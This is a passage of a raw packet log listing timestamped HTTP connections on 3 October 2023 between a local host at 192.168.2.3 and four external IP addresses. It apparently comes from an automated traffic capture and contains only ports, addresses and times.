Oct 3, 2023 09:55:21.929795027 CEST	80	49865	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:21.929857969 CEST	80	49865	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:21.930005074 CEST	49865	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:21.931180000 CEST	49865	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:21.941263914 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:21.941308022 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:22.046662092 CEST	49867	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:22.141614914 CEST	80	49867	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:22.142194986 CEST	49867	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:22.142316103 CEST	49867	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:22.142888069 CEST	49867	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:22.237308025 CEST	80	49867	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:22.237590075 CEST	80	49867	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:22.355128050 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:22.355194092 CEST	80	49866	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:22.355585098 CEST	49866	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:22.356645107 CEST	49866	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:22.470892906 CEST	49868	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:22.519377947 CEST	80	49867	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:22.519445896 CEST	80	49867	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:22.519696951 CEST	49867	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:22.520935059 CEST	49867	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:22.565205097 CEST	80	49868	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:22.566247940 CEST	49868	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:22.566247940 CEST	49868	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:22.566247940 CEST	49868	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:22.637881994 CEST	49869	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:22.660557032 CEST	80	49868	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:22.660651922 CEST	80	49868	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:22.732978106 CEST	80	49869	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:22.733237028 CEST	49869	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:22.733319044 CEST	49869	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:22.733838081 CEST	49869	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:22.835598946 CEST	80	49869	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:22.835663080 CEST	80	49869	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:22.893357038 CEST	80	49868	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:22.893424034 CEST	80	49868	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:22.893500090 CEST	49868	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:22.894416094 CEST	49868	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:23.016067028 CEST	49871	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:23.061239004 CEST	80	49869	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:23.061268091 CEST	80	49869	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:23.061430931 CEST	49869	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:23.062706947 CEST	49869	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:23.110559940 CEST	80	49871	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:23.110697031 CEST	49871	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:23.110939980 CEST	49871	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:23.111397028 CEST	49871	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:23.182514906 CEST	49872	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:23.205435991 CEST	80	49871	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:23.205842018 CEST	80	49871	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:23.277247906 CEST	80	49872	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:23.277350903 CEST	49872	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:23.277622938 CEST	49872	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:23.278090954 CEST	49872	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:23.372123003 CEST	80	49872	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:23.372622967 CEST	80	49872	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:23.440721989 CEST	80	49871	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:23.440742970 CEST	80	49871	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:23.440820932 CEST	49871	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:23.442035913 CEST	49871	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:23.637214899 CEST	80	49872	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:23.637248993 CEST	80	49872	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:23.637294054 CEST	49872	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:23.639156103 CEST	49872	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:23.691884995 CEST	49873	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:23.786020994 CEST	49874	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:23.786633015 CEST	80	49873	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:23.786709070 CEST	49873	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:23.786974907 CEST	49873	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:23.787401915 CEST	49873	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:23.881105900 CEST	80	49874	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:23.881531954 CEST	49874	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:23.881783009 CEST	80	49873	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:23.881927967 CEST	49874	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:23.882222891 CEST	80	49873	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:23.883096933 CEST	49874	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:23.976749897 CEST	80	49874	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:23.978204012 CEST	80	49874	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:24.103533030 CEST	80	49873	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:24.103591919 CEST	80	49873	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:24.103665113 CEST	49873	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:24.104818106 CEST	49873	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:24.222775936 CEST	80	49874	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:24.222803116 CEST	80	49874	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:24.222978115 CEST	49874	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:24.224030018 CEST	49875	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:24.225455046 CEST	49874	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:24.319165945 CEST	80	49875	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:24.319401026 CEST	49875	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:24.319700003 CEST	49875	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:24.320118904 CEST	49875	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:24.355071068 CEST	49876	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:24.414326906 CEST	80	49875	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:24.414761066 CEST	80	49875	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:24.449915886 CEST	80	49876	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:24.450200081 CEST	49876	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:24.450311899 CEST	49876	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:24.450737953 CEST	49876	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:24.544954062 CEST	80	49876	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:24.545223951 CEST	80	49876	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:24.557449102 CEST	80	49875	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:24.557480097 CEST	80	49875	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:24.557672977 CEST	49875	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:24.558718920 CEST	49875	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:24.675884962 CEST	49877	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:24.767977953 CEST	80	49876	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:24.768090963 CEST	80	49876	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:24.768165112 CEST	49876	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:24.769237995 CEST	49876	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:24.770720005 CEST	80	49877	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:24.770800114 CEST	49877	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:24.771079063 CEST	49877	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:24.771686077 CEST	49877	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:24.865945101 CEST	80	49877	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:24.866446018 CEST	80	49877	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:24.888407946 CEST	49878	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:24.983800888 CEST	80	49878	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:24.984569073 CEST	49878	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:24.985321045 CEST	49878	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:24.986191988 CEST	49878	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:25.080071926 CEST	80	49878	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:25.080915928 CEST	80	49878	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:25.099364996 CEST	80	49877	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:25.099406958 CEST	80	49877	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:25.099575996 CEST	49877	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:25.101169109 CEST	49877	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:25.222187996 CEST	49879	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:25.312083006 CEST	80	49878	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:25.312144995 CEST	80	49878	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:25.312494040 CEST	49878	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:25.313466072 CEST	49878	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:25.316903114 CEST	80	49879	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:25.316997051 CEST	49879	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:25.319715023 CEST	49879	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:25.320292950 CEST	49879	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:25.414473057 CEST	80	49879	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:25.414658070 CEST	80	49879	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:25.659931898 CEST	80	49879	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:25.660011053 CEST	80	49879	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:25.660094023 CEST	49879	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:25.661001921 CEST	49879	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:25.698755026 CEST	49880	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:25.793252945 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:25.793349028 CEST	49880	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:25.793631077 CEST	49880	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:25.794399023 CEST	49880	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:25.814388037 CEST	49881	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:25.888025045 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:25.888246059 CEST	49880	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:25.888762951 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:25.888778925 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:25.888786077 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:25.888792992 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:25.888799906 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:25.888807058 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:25.888814926 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:25.888961077 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:25.888977051 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:25.889076948 CEST	49880	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:25.889102936 CEST	49880	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:25.889102936 CEST	49880	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:25.909284115 CEST	80	49881	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:25.909673929 CEST	49881	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:25.909909964 CEST	49881	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:25.910021067 CEST	49881	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:25.983761072 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:25.984002113 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:25.984019041 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:25.984026909 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:25.984035015 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:25.984042883 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:25.984075069 CEST	49880	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:25.984090090 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:25.984098911 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:25.984106064 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:25.984236956 CEST	49880	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:25.984249115 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:25.984307051 CEST	49880	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:25.984344959 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:25.984391928 CEST	49880	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:25.984528065 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:25.984575987 CEST	49880	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:26.004823923 CEST	80	49881	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:26.004980087 CEST	80	49881	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:26.025646925 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:26.026266098 CEST	49880	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:26.081273079 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:26.081327915 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:26.081356049 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:26.081357956 CEST	49880	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:26.081372023 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:26.081387043 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:26.081403971 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:26.081418991 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:26.081434011 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:26.081449986 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:26.081465960 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:26.081480980 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:26.081496000 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:26.081510067 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:26.081525087 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:26.081538916 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:26.081552982 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:26.081568003 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:26.081895113 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:26.081923008 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:26.081938028 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:26.121371984 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:26.121400118 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:26.176311970 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:26.176337957 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:26.271060944 CEST	80	49881	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:26.271121025 CEST	80	49881	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:26.271173000 CEST	49881	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:26.272248983 CEST	49881	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:26.423526049 CEST	49882	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:26.518465042 CEST	80	49882	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:26.518721104 CEST	49882	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:26.519020081 CEST	49882	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:26.519619942 CEST	49882	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:26.602135897 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:26.602168083 CEST	80	49880	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:26.602418900 CEST	49880	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:26.603401899 CEST	49880	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:26.613807917 CEST	80	49882	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:26.613979101 CEST	80	49882	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:26.718163967 CEST	49883	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:26.813467979 CEST	80	49883	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:26.813591003 CEST	49883	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:26.814066887 CEST	49883	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:26.814516068 CEST	49883	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:26.909660101 CEST	80	49883	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:26.909687996 CEST	80	49883	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:26.931001902 CEST	80	49882	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:26.931061983 CEST	80	49882	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:26.931520939 CEST	49882	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:26.932251930 CEST	49882	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:27.065293074 CEST	49884	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:27.135700941 CEST	80	49883	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:27.135730982 CEST	80	49883	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:27.136008978 CEST	49883	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:27.142091990 CEST	49883	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:27.160147905 CEST	80	49884	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:27.160249949 CEST	49884	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:27.160444975 CEST	49884	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:27.161024094 CEST	49884	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:27.255276918 CEST	80	49884	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:27.255894899 CEST	80	49884	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:27.262664080 CEST	49885	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:27.361867905 CEST	80	49885	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:27.361963987 CEST	49885	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:27.362212896 CEST	49885	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:27.362647057 CEST	49885	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:27.448828936 CEST	80	49884	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:27.448863029 CEST	80	49884	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:27.449064970 CEST	49884	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:27.449857950 CEST	49884	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:27.457443953 CEST	80	49885	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:27.457501888 CEST	80	49885	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:27.605070114 CEST	49886	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:27.689929008 CEST	80	49885	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:27.689953089 CEST	80	49885	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:27.690123081 CEST	49885	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:27.691226959 CEST	49885	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:27.700166941 CEST	80	49886	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:27.700256109 CEST	49886	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:27.700529099 CEST	49886	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:27.701097965 CEST	49886	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:27.795691967 CEST	80	49886	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:27.795751095 CEST	80	49886	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:27.997961044 CEST	49887	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:28.074558973 CEST	80	49886	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:28.074620008 CEST	80	49886	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:28.074879885 CEST	49886	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:28.075608969 CEST	49886	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:28.093012094 CEST	80	49887	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:28.093209028 CEST	49887	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:28.093411922 CEST	49887	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:28.093903065 CEST	49887	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:28.190274954 CEST	80	49887	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:28.191055059 CEST	80	49887	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:28.199736118 CEST	49888	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:28.295030117 CEST	80	49888	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:28.295342922 CEST	49888	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:28.295427084 CEST	49888	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:28.295916080 CEST	49888	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:28.354546070 CEST	80	49887	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:28.354573965 CEST	80	49887	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:28.354635000 CEST	49887	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:28.355902910 CEST	49887	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:28.390418053 CEST	80	49888	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:28.391330004 CEST	80	49888	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:28.471436977 CEST	49889	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:28.566567898 CEST	80	49889	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:28.566912889 CEST	49889	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:28.568141937 CEST	49889	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:28.568403006 CEST	49889	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:28.663328886 CEST	80	49889	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:28.663438082 CEST	80	49889	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:28.666513920 CEST	80	49888	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:28.666570902 CEST	80	49888	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:28.666757107 CEST	49888	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:28.667773962 CEST	49888	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:28.792272091 CEST	49890	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:28.887603045 CEST	80	49890	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:28.887732029 CEST	49890	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:28.888740063 CEST	49890	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:28.889103889 CEST	49890	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:28.894670963 CEST	80	49889	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:28.894706011 CEST	80	49889	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:28.894793987 CEST	49889	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:28.895823956 CEST	49889	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:28.985805988 CEST	80	49890	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:28.987158060 CEST	80	49890	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:29.010318041 CEST	49891	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:29.105586052 CEST	80	49891	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:29.105747938 CEST	49891	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:29.105947018 CEST	49891	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:29.106681108 CEST	49891	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:29.200980902 CEST	80	49891	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:29.201286077 CEST	80	49891	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:29.262274981 CEST	80	49890	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:29.262336016 CEST	80	49890	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:29.262474060 CEST	49890	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:29.264020920 CEST	49890	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:29.348304987 CEST	80	49891	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:29.348336935 CEST	80	49891	172.67.151.219	192.168.2.3
Oct 3, 2023 09:55:29.348418951 CEST	49891	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:29.350197077 CEST	49891	80	192.168.2.3	172.67.151.219
Oct 3, 2023 09:55:29.400659084 CEST	49892	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:29.466861010 CEST	49893	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:29.495491028 CEST	80	49892	104.21.81.17	192.168.2.3
